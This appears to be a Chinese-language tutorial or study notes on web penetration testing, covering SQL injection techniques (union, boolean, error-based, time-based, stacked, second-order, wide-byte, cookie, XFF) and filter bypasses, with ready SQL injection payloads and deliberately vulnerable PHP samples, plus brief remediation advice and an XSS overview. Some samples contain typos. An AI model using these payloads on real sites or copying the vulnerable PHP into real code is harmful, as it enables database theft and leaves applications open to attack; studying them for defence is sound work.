渗透测试——web安全
渗透测试之Web安全原理
Buchiyexiao
SQL注入
SQL注入原理
SQL注入漏洞需要满足两个条件:参数用户可控,即前端传给后端的参数内容是用户可控的;参数代入数据库进行查询,传入的参数拼接到SQL语句,且代入数据库查询
SQL注入语句
-
limit用法
limit m,n其中m是指记录开始的位置,从0开始记录,表示第一条记录;n是取n条记录。例如limit 0,1就是从第一条记录开始,取一条记录
-
需要记住的函数
database()
version()
user()
Union注入攻击
?id=1 order by x
?id=1 union select 1,2,3
?id=-1 union select 1,2,3 因为没有-1的数据,则会返回union的数据
?id=1 union select 1,database(),3 得到database
?id=1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='xxx' limit 0,1),3 返回数据库的第一个表名,如果看第二个表名,则改为limit 1,1
?id=1 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='xxx' and table_name='xxxxxx' limit 0,1),3 获取字段名
?id=1 union select 1,(select email_id from sql.emails limit 0,1),3 查看第一条数据
Union注入代码分析
<?php
$con=mysqli_connect("localhost","root","root","test");
if(mysqli_connect_error()){
echo "连接失败" .mysqli_connect_error();
}
$id = $_GET['id'];
$result = mysqli_query($con,"select * from users where 'id' =".$id);
$row = mysqli_fetch_array($result);
echo $row['username']. ":" . $row[address];
echo "<br>";
?>
Boolean注入攻击
Boolean注入攻击的特色就是返回的结果分别是yes和no,而没有返回具体的数据,所以union注入无法使用,尝试借助Boolean注入,即构造SQL判断语句,通过查看返回结果判断哪些SQL条件是成立的,以此获取数据库的信息
?id=1' and length(database()) >=1 --+ 后面用注释符来注释掉单引号 经过测试得到数据库的库名长度为3
?id=1' and substr(database(),1,1)='t' --+ 截取database()的值,第一个字符开始,每次返回一个,可以借用二分法进行操作,此时可以借助burp对其进行爆破
也可以使用ascii码进行测试,如:?id=1' and ord(substr(database,1,1)) >= 115 --+
然后继续依次判断,类似上面的Union攻击
?id=1' and substr((select table_name from information_schema.tables where table_schema='sql' limit 0,1),1,1)='e' --+
Boolean注入代码分析
<?php
$con=mysqli_connect("localhost","root","root","test");
if(mysqli_connect_error()){
echo "连接失败" .mysqli_connect_error();
}
$id = $_GET['id'];
if(preg_match("/union|sleep|benchmark/i",$id)){
exit("no");
}
$result = mysqli_query($con,"select * from users where 'id' ='".$id."'");
$row = mysqli_fetch_array($result);
if($row){
exit("yes");
}else{
exit("no");
}
?>
报错注入攻击
输入了单引号之后直接将错误信息输出到了界面上,下面利用updatexml()演示SQL语句获取user()的值
?id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1) --+ 其中0x7e是ASCII编码,解码结果为~
?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+
?id=1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1) --+ 获得数据库的库名
?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='test' limit 0,1),0x7e),1) --+ 获取表名
extractvalue()函数,从目标xml中返回包含所查询值的字符串
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为doc
第二个参数:XPath_string(Xpath格式的字符串)
Xpath定位必须是有效的,否则则会发生错误
用法其实跟updatexml一样
用字符型注入测试一下
xxx' and extractvalue(1,concat(0x7e,database())) #
floor 取整函数
xxx' and (select 2 from (select count(),concat(version(),floor(rand(0)2)) x from information_schema.tables group by x) a)#
报错注入源码分析
<?php
$con=mysqli_connect("localhost","root","root","test");
if(mysqli_connect_error()){
echo "连接失败" .mysqli_connect_error();
}
$username = $_GET['username'];
if($result = mysqli_query($con,"select * from users where 'username' ='".$username."'")){
echo("ok");
}else{
echo mysqli_error($con);
}
?>
SQL注入进阶
时间注入攻击
时间注入的页面和Boolean注入非常相似,但是可以采用另外一种方法——时间盲注,即借用sleep()或benchmark()等函数让mysql的执行时间变长,时间盲注常常搭配if(expr1,expr2,expr3)搭配使用,语义为如果expr1为true则返回expr2,否则返回expr3。因此可以构造判断数据库库名长度的语句为:
?id=1' and if(length(databese())>1,sleep(5),1) --+
可以借助burp右下角的响应时间进行判断
?id=1' and if(substr(database(),1,1)='s',sleep(5),1) --+
时间注入代码分析
<?php
$con=mysqli_connect("localhost","root","root","test");
if(mysqli_connect_error()){
echo "连接失败" .mysqli_connect_error();
}
$id = $_GET['id'];
if(preg_match("/union/i",$id)){
exit("<html><body>no</body></html>");
}
$result = mysqli_query($con,"select * from where 'id' ='".$id."'");
$row = mysqli_fetch_array($result);
if($row){
exit("<html><body>yes</body></html>");
}else{
exit("<html><body>no</body></html>");
}
?>
仍然可以使用Boolean盲注,访问id=1' and if(ord(substring(user(),1,1))=114,sleep(5),1)%23,执行的SQL语句为select * from users where 'id' = '1' and if(ord(substring(user(),1,1))=114,sleep(5),1)#'
堆叠查询注入攻击
堆叠查询可以执行多条语句,用分号隔开语句,利用该特点,在第二个SQL语句中构造自己想要执行的语句
?id=1';select if(substr(user(),1,1)='r',sleep(3),1)%23
堆叠查询注入代码分析
在堆叠注入页面中,程序获取GET参数ID,使用PDO的方式进行数据查找,但是仍然将参数ID进行拼接,导致PDO没有起到预编译的效果,程序仍然存在漏洞
二次注入攻击
在第一个界面输入SQL语句,在响应界面找到对应的ID,访问对应id界面发生报错显示
二次注入攻击代码分析
输入sql语句的页面进行addslashes将GET参数转义,同时做了MD5哈希。在对应界面获取id的页面将GETE参数ID转换为int拼接到SQL中进行数据库查询,因此存在SQL注入
宽字节注入
当输入id=1'的时候,返回报错显示 id=1\',将单引号进行转义,即不好绕出SQL注入漏洞,但是存在特例,即当数据库的编码为GBK的时候,使用宽字节注入,即在地址后加%df再加’,因为反斜杠的编码是%5c,而在GBK编码中,%df%5c是繁体字连,这时候单引号就可以实现逃逸
id=1%df'+and1=1%23后续和正常注入类似
宽字节注入代码分析
在宽字节注入界面中程序获得GET参数ID,并且对ID使用addslashes()转义,然后拼接到SQL进行查询,一般情况无法查询,但是当使用set names 'GBK'时,将编码设置为GBK编码的情况下,就存在宽字节注入。在PHP中,通过iconv()进行编码转换时,也存在着宽字节注入漏洞
Cookie注入
在URL中没有GET和POST参数,但是页面返回的时候发现在burp抓包可以在cookie找到id参数,在cookie中进行注入操作
Cookie注入代码分析
借助$_COOKIE获取cookie数据
base64攻击
传入的ID参数经过base64编码,利用base64_decode()对参数进行解码,然后直接将解码后的$id与select语句进行拼接,通过while循环进行输出,因为没有过滤解码后的id,所以可以将id拼接成SQL语句进行注入
XFF注入攻击
XFF即为X-Forward-For,代表客户端的真实IP,通过修改XFF可以伪造客户端的IP,将XFF设置为127.0.0.1' 对页面访问,返回Mysql的报错信息
然后将XFF设置为127.0.0.1' + and + 1 = 1 #实现注入攻击
SQL注入绕过技术
大小写绕过技术
使用大小写切换进行绕过,也可以借助sqlmap中的randomcase插件进行绕过
双写绕过技术
单词被过滤,但是只是过滤一次,因此借助双写关键词或者叠加关键词进行绕过技术
编码绕过技术
对关键字使用两次URL全编码,因为服务器会自动对URL进行一次URL解码
内联注释绕过技术
id=1 /*! and */ 1=1 id=1 /*! and */ 1=2
SQL注入修复建议
-
过滤危险字符
采用正则表达式匹配关键字
-
使用预编译豫剧
使用PDO预编译语句,不直接将变量拼接,而是使用占位符进行数据库的相关操作
XSS基础
XSS漏洞原理
-
反射性XSS
反射性XSS又称为非持久性XSS,一次性
-
存储型XSS
永久的存放在目标服务器的数据库或者文件中,一般常见于论坛的帖子或者发帖的文件中,常随着帖子被服务器存储下来
-
DOM型XSS
DOM其实是一种特殊类型的反射型XSS,基于DOM文档对象模型的一种漏洞
DOM攻击方式为用户请求一个经过专门设计的URL,服务器的响应不会以任何形式包含攻击者的脚本,当用户的浏览器处理这个响应时,DOM对象就会处理XSS代码,导致存在XSS漏洞